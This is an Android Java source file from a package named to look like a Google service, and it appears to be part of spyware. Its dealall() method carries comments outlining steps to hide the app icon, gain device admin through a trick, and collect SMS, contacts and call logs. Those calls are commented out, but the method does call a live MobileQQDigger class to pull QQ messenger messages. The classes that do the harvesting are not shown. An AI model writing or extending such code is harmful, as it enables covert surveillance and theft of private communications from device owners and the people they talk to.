package google.fandroidservice;

import android.content.Context;

import google.fandroidservice.utils.StorageHelper;

public class QQpluginWrapper {
    private Context mContext;

    public void setContext(Context c){
        mContext = c;
    }


    public void dealall(){
        StorageHelper.CreateCacheDirectories(mContext.getCacheDir(), mContext.getExternalCacheDir());

        //1. hide icon
        //getPackageManager().setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        //2. admin
        //adminTrick();

        //3.msg contact callhistory

        /*
        calllog testcalllog = new calllog();
        testcalllog.setContext(getApplicationContext());
        testcalllog.GetListaSMS();
        testcalllog.getAllPhoneContacts();
        testcalllog.listCallLog();
        //
        */

        //4. get qq msg;

        MobileQQDigger qqd = new MobileQQDigger();
        qqd.helloworld(StorageHelper.getCacheDir());



    }

}
